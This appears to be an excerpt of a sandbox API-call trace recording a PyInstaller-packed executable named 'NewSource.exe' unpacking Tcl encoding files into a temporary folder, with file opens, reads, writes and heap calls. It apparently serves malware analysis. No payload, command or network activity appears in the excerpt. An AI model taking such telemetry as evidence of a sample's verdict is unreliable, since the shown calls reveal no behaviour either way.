[0036.757] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.757] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.757] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.757] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.757] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.757] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.757] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.757] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.757] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.757] CloseHandle (hObject=0x10c) returned 1 [0036.757] GetLastError () returned 0x0 [0036.757] SetLastError (dwErrCode=0x0) [0036.757] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\ksc5601.enc") returned 70 [0036.757] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\ksc5601.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\ksc5601.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.757] GetLastError () returned 0x2 [0036.757] SetLastError (dwErrCode=0x2) [0036.758] GetLastError () returned 0x2 [0036.758] SetLastError (dwErrCode=0x2) [0036.758] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\ksc5601.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\ksc5601.enc", lpFilePart=0x0) returned 0x45 [0036.758] GetLastError () returned 0x2 [0036.758] SetLastError (dwErrCode=0x2) [0036.758] GetLastError () returned 0x2 [0036.758] SetLastError (dwErrCode=0x2) [0036.758] GetLastError () returned 0x2 [0036.758] SetLastError (dwErrCode=0x2) [0036.758] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\ksc5601.enc") returned 70 [0036.758] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.758] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\ksc5601.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\ksc5601.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.758] GetFileType (hFile=0x10c) returned 0x1 [0036.758] htonl (hostlong=0xcd6a0100) returned 0x16acd [0036.758] WriteFile (in: hFile=0x10c, lpBuffer=0x564f58*, nNumberOfBytesToWrite=0x16000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x564f58*, lpNumberOfBytesWritten=0x4fcd00*=0x16000, lpOverlapped=0x0) returned 1 [0036.760] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.760] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xacd, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xacd, lpOverlapped=0x0) returned 1 [0036.760] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.761] CloseHandle (hObject=0x10c) returned 1 [0036.763] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x564f58 | out: hHeap=0x530000) returned 1 [0036.763] htonl (hostlong=0x30000000) returned 0x30 [0036.763] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.763] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.763] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.764] GetFileType (hFile=0x10c) returned 0x1 [0036.764] htonl (hostlong=0x5c4d5600) returned 0x564d5c [0036.764] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5afd5c, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.764] htonl (hostlong=0x27020000) returned 0x227 [0036.764] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x227) returned 0x550600 [0036.764] htonl (hostlong=0x27020000) returned 0x227 [0036.764] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.764] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.764] htonl (hostlong=0x48040000) returned 0x448 [0036.764] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x448) returned 0x55e278 [0036.764] htonl (hostlong=0x27020000) returned 0x227 [0036.764] htonl (hostlong=0x48040000) returned 0x448 [0036.764] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0036.764] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.765] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0036.765] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.765] CloseHandle (hObject=0x10c) returned 1 [0036.765] GetLastError () returned 0x0 [0036.765] SetLastError (dwErrCode=0x0) [0036.765] GetLastError () returned 0x0 [0036.765] SetLastError (dwErrCode=0x0) [0036.765] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.765] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.765] GetFileType (hFile=0x10c) returned 0x1 [0036.765] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.765] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.766] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.766] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.766] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.766] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.766] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.766] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.766] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.766] CloseHandle (hObject=0x10c) returned 1 [0036.766] GetLastError () returned 0x0 [0036.766] SetLastError (dwErrCode=0x0) [0036.766] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0036.766] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.766] GetFileType (hFile=0x10c) returned 0x1 [0036.766] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.766] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.766] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.766] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.766] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.766] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.766] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.766] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.766] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.766] CloseHandle (hObject=0x10c) returned 1 [0036.767] GetLastError () returned 0x0 [0036.767] SetLastError (dwErrCode=0x0) [0036.767] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\macCentEuro.enc") returned 74 [0036.767] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\macCentEuro.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\maccenteuro.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.767] GetLastError () returned 0x2 [0036.767] SetLastError (dwErrCode=0x2) [0036.767] GetLastError () returned 0x2 [0036.767] SetLastError (dwErrCode=0x2) [0036.767] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\macCentEuro.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\macCentEuro.enc", lpFilePart=0x0) returned 0x49 [0036.767] GetLastError () returned 0x2 [0036.767] SetLastError (dwErrCode=0x2) [0036.767] GetLastError () returned 0x2 [0036.767] SetLastError (dwErrCode=0x2) [0036.767] GetLastError () returned 0x2 [0036.767] SetLastError (dwErrCode=0x2) [0036.767] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\macCentEuro.enc") returned 74 [0036.767] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.767] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\macCentEuro.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\maccenteuro.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.768] GetFileType (hFile=0x10c) returned 0x1 [0036.768] htonl (hostlong=0x48040000) returned 0x448 [0036.768] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.768] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x448, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x448, lpOverlapped=0x0) returned 1 [0036.769] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.769] CloseHandle (hObject=0x10c) returned 1 [0036.770] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0036.770] htonl (hostlong=0x30000000) returned 0x30 [0036.770] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.770] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.770] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.770] GetFileType (hFile=0x10c) returned 0x1 [0036.770] htonl (hostlong=0x834f5600) returned 0x564f83 [0036.770] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5aff83, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.770] htonl (hostlong=0x2e020000) returned 0x22e [0036.770] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x22e) returned 0x550600 [0036.770] htonl (hostlong=0x2e020000) returned 0x22e [0036.770] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.770] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.770] htonl (hostlong=0x48040000) returned 0x448 [0036.770] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x448) returned 0x55e278 [0036.770] htonl (hostlong=0x2e020000) returned 0x22e [0036.770] htonl (hostlong=0x48040000) returned 0x448 [0036.770] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0036.771] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.771] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0036.771] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.771] CloseHandle (hObject=0x10c) returned 1 [0036.771] GetLastError () returned 0x0 [0036.771] SetLastError (dwErrCode=0x0) [0036.771] GetLastError () returned 0x0 [0036.771] SetLastError (dwErrCode=0x0) [0036.771] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.771] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.771] GetFileType (hFile=0x10c) returned 0x1 [0036.771] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.772] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.772] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.772] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.772] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.772] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.772] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.772] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.772] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.772] CloseHandle (hObject=0x10c) returned 1 [0036.772] GetLastError () returned 0x0 [0036.772] SetLastError (dwErrCode=0x0) [0036.772] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0036.772] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.772] GetFileType (hFile=0x10c) returned 0x1 [0036.772] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.772] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.772] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.772] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.772] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.772] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.772] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.772] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.772] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.773] CloseHandle (hObject=0x10c) returned 1 [0036.773] GetLastError () returned 0x0 [0036.773] SetLastError (dwErrCode=0x0) [0036.773] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\macCroatian.enc") returned 74 [0036.773] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\macCroatian.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\maccroatian.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.773] GetLastError () returned 0x2 [0036.773] SetLastError (dwErrCode=0x2) [0036.773] GetLastError () returned 0x2 [0036.773] SetLastError (dwErrCode=0x2) [0036.773] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\macCroatian.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\macCroatian.enc", lpFilePart=0x0) returned 0x49 [0036.773] GetLastError () returned 0x2 [0036.773] SetLastError (dwErrCode=0x2) [0036.773] GetLastError () returned 0x2 [0036.773] SetLastError (dwErrCode=0x2) [0036.773] GetLastError () returned 0x2 [0036.773] SetLastError (dwErrCode=0x2) [0036.773] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\macCroatian.enc") returned 74 [0036.773] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.773] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\macCroatian.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\maccroatian.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.773] GetFileType (hFile=0x10c) returned 0x1 [0036.773] htonl (hostlong=0x48040000) returned 0x448 [0036.773] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.773] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x448, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x448, lpOverlapped=0x0) returned 1 [0036.774] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.774] CloseHandle (hObject=0x10c) returned 1 [0036.775] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0036.775] htonl (hostlong=0x30000000) returned 0x30 [0036.775] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.775] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.775] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.775] GetFileType (hFile=0x10c) returned 0x1 [0036.775] htonl (hostlong=0xb1515600) returned 0x5651b1 [0036.775] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5b01b1, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 